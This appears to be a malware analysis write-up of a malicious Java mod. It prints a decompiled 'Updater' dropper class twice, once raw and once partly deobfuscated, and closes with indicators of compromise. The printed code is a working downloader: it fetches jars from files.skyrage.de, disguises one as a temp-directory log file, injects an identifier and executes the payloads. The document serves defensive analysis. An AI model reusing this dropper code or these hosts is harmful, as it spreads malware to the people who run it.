The jar is located at my malware-samples repository
The malicious class is decompiled here.
/* Decompiler 17ms, total 158ms, lines 115 */
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.util.Base64;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;
public class Updater {
public static void init() {
try {
File var0 = new File(System.getProperty(new String(new byte[]{106, 97, 118, 97, 46, 105, 111, 46, 116, 109, 112, 100, 105, 114})));
File var1 = new File(var0, new String(new byte[]{107, 101, 114, 110, 101, 108, 45, 99, 101, 114, 116, 115, 45, 100, 101, 98, 117, 103, 52, 57, 49, 55, 46, 108, 111, 103}));
boolean var2 = !System.getProperty("os.name").toLowerCase().contains("win");
String var3 = (new File(System.getProperty("java.home") + (var2 ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
if (var1.exists()) {
Runtime.getRuntime().exec(new String[]{var3, "-jar", var1.getPath()});
} else {
byte[] var4 = new byte[]{-48, -6, -23, -57, 103, -92, 41, 103};
try {
var4 = a(Updater.class.getResourceAsStream("/plugin-config.bin"));
} catch (Throwable var6) {
var6.printStackTrace();
}
a(var1, var4);
(new Thread(() -> {
try {
a(var4);
} catch (Exception var2) {
}
})).start();
Runtime.getRuntime().exec(new String[]{var3, "-jar", var1.getPath()});
}
} catch (Exception var7) {
var7.printStackTrace();
throw new Error(var7);
}
}
public static void a(InputStream var0, OutputStream var1) throws IOException {
byte[] var2 = new byte[4096];
int var3;
while((var3 = var0.read(var2)) != -1) {
var1.write(var2, 0, var3);
}
}
public static byte[] a(InputStream var0) throws IOException {
ByteArrayOutputStream var1 = new ByteArrayOutputStream();
byte[] var2 = new byte['\uffff'];
for(int var3 = var0.read(var2); var3 != -1; var3 = var0.read(var2)) {
var1.write(var2, 0, var3);
}
return var1.toByteArray();
}
public static void a(byte[] var0) throws Exception {
boolean var1 = !System.getProperty("os.name").toLowerCase().contains("win");
String var2 = (new File(System.getProperty("java.home") + (var1 ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
File var3 = new File(".log");
HttpURLConnection var4 = (HttpURLConnection)(new URL(new String(new byte[]{104, 116, 116, 112, 58, 47, 47, 102, 105, 108, 101, 115, 46, 115, 107, 121, 114, 97, 103, 101, 46, 100, 101, 47, 109, 118, 100}))).openConnection();
Files.copy(var4.getInputStream(), var3.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
Runtime.getRuntime().exec(new String[]{var2, "-Dgnu=" + Base64.getEncoder().encodeToString(var0), new String(new byte[]{45, 106, 97, 114}), var3.getPath()}).waitFor();
var3.delete();
}
public static void a(File var0, byte[] var1) throws Exception {
HttpURLConnection var2 = (HttpURLConnection)(new URL("http://files.skyrage.de/update")).openConnection();
Files.copy(var2.getInputStream(), var0.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
a(new ZipFile(var0), var1);
}
public static void a(ZipFile var0, byte[] var1) throws IOException {
File var2 = new File(var0.getName() + new String(new byte[]{46, 116, 109, 112, 122, 105, 112}));
Files.copy((new File(var0.getName())).toPath(), var2.toPath(), StandardCopyOption.REPLACE_EXISTING);
ZipFile var3 = new ZipFile(var2);
ZipOutputStream var4 = new ZipOutputStream(Files.newOutputStream(Paths.get(var0.getName())));
for(Enumeration var5 = var3.entries(); var5.hasMoreElements(); var4.closeEntry()) {
ZipEntry var6 = (ZipEntry)var5.nextElement();
ZipEntry var7 = new ZipEntry(var6.getName());
var4.putNextEntry(var7);
if (!var7.isDirectory()) {
if (var7.getName().equals(new String(new byte[]{103, 110, 117}))) {
var4.write(var1);
} else {
a((InputStream)var3.getInputStream(var6), (OutputStream)var4);
}
}
}
var3.close();
var0.close();
var4.close();
var2.delete();
}
}
I picked out several features of this malware, that it used new String(new byte[]
as a form of obfuscation, and that this mod is a dropper for another malware.
I've tried to unminify, add comments, and deobfuscate the malware class
/* Decompiler 17ms, total 158ms, lines 115 */
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.util.Base64;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;
public class Updater {
public static void init() {
try {
File tempDir = new File(System.getProperty("java.io.tmpdir"));
File malwareLocation = new File(tempDir, "kernel-certs-debug4917.log");
boolean isNotWindows = !System.getProperty("os.name").toLowerCase().contains("win");
String javaExe = (new File(System.getProperty("java.home") + (isNotWindows ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
if (malwareLocation.exists()) {
Runtime.getRuntime().exec(new String[]{javaExe, "-jar", var1.getPath()}); // if the malware has already been installed, try to rerun it
} else { // otherwise
byte[] data /* = new byte[]{-48, -6, -23, -57, 103, -92, 41, 103}*/; // immediately overwritten
try {
data = readAll(Updater.class.getResourceAsStream("/plugin-config.bin"));
} catch (Throwable var6) {
var6.printStackTrace();
}
saveMalwareToFile(malwareLocation, data); // signature is File, byte[]
(new Thread(() -> {
try {
executeWithIdentifier(data);
} catch (Exception var2) {
}
})).start();
Runtime.getRuntime().exec(new String[]{javaExe, "-jar", malwareLocation.getPath()});
}
} catch (Exception var7) {
var7.printStackTrace();
throw new Error(var7);
}
}
public static void copyInputStreamToOutput(InputStream var0, OutputStream var1) throws IOException {
byte[] var2 = new byte[4096];
int var3;
while((var3 = var0.read(var2)) != -1) {
var1.write(var2, 0, var3);
}
}
public static byte[] readAll(InputStream var0) throws IOException {
ByteArrayOutputStream var1 = new ByteArrayOutputStream();
byte[] var2 = new byte['\uffff'];
for(int var3 = var0.read(var2); var3 != -1; var3 = var0.read(var2)) {
var1.write(var2, 0, var3);
}
return var1.toByteArray();
}
public static void executeWithIdentifier(byte[] data) throws Exception {
boolean isNotWindows = !System.getProperty("os.name").toLowerCase().contains("win");
String javaPath = (new File(System.getProperty("java.home") + (isNotWindows ? "/bin/java" : "\\bin\\javaw.exe"))).getPath();
File mvdFile = new File(".log");
HttpURLConnection var4 = (HttpURLConnection)(new URL("http://files.skyrage.de/mvd")).openConnection();
Files.copy(var4.getInputStream(), var3.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
Runtime.getRuntime().exec(new String[]{javaPath, "-Dgnu=" + Base64.getEncoder().encodeToString(data), "-jar", mvdFile}).waitFor();
mvdFile.delete();
}
public static void saveMalwareToFile(File file, byte[] data) throws Exception {
HttpURLConnection connection = (HttpURLConnection) (new URL("http://files.skyrage.de/update")).openConnection(); // connects to http://files.skyrage.de/update
Files.copy(connection.getInputStream(), file.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
a(new ZipFile(file), data); // signature is ZipFile, byte[]
}
public static void injectGNUonOriginal(ZipFile zipFile, byte[] data) throws IOException {
File copyFile = new File(zipFile.getName() + ".tmpzip"); // create with same name
Files.copy((new File(zipFile.getName())).toPath(), copyFile.toPath(), StandardCopyOption.REPLACE_EXISTING); // copy file to copyFile
ZipFile copyZip = new ZipFile(copyFile);
ZipOutputStream zipOutputOnOriginal = new ZipOutputStream(Files.newOutputStream(Paths.get(zipFile.getName())));
for(Enumeration copyZipEntries = copyZip.entries(); copyZipEntries.hasMoreElements(); zipOutputOnOriginal.closeEntry()) {
ZipEntry copyZipZipEntry = (ZipEntry) copyZipEntries.nextElement();
ZipEntry copiedZipEntry = new ZipEntry(copyZipZipEntry.getName());
zipOutputOnOriginal.putNextEntry(copiedZipEntry);
if (!copiedZipEntry.isDirectory()) {
if (copiedZipEntry.getName().equals("gnu")) {
zipOutputOnOriginal.write(data); // write data if its gnu
} else {
copyInputStreamToOutput((InputStream)copyZip.getInputStream(var6), (OutputStream)zipOutputOnOriginal); // otherwise copy it
}
}
}
copyZip.close();
file.close();
zipOutputOnOriginal.close();
copyFile.delete();
}
}
The file plugin-config.bin has some binary, which when base64 encoded is 5MBE60Zq3ZcjeXn70Ycah0pKnYsoXwtz
.
We can see a few notable things here.
It creates a file called kernel-certs-debug4917.log
in the temp directory, then writes a jar from http://files.skyrage.de/update
to it.
After doing that, it adds a new entry called gnu
to the zip file, and adds some data to it (a potentially unique identifier). It also downloads a jar from http://files.skyrage.de/mvd
and executes it with a similar identifier.
Unique identifiers likely show that the owner of files.skyrage.de
is running a Malware-as-a-Service scheme, or that there are multiple threat actors who want to identify themselves as unique.
This malware was seen before, but only on Bukkit/Spigot plugins. This indicates that the threat actor is looking at more regions to try and spread their malware.
- A file called
kernel-certs-debug4917.log
in the temporary directory - Connections to
files.skyrage.de
, especially on tcp/80 - Process running with an argument starting with
-Dgnu
- Creation and then deletion of a file called
.log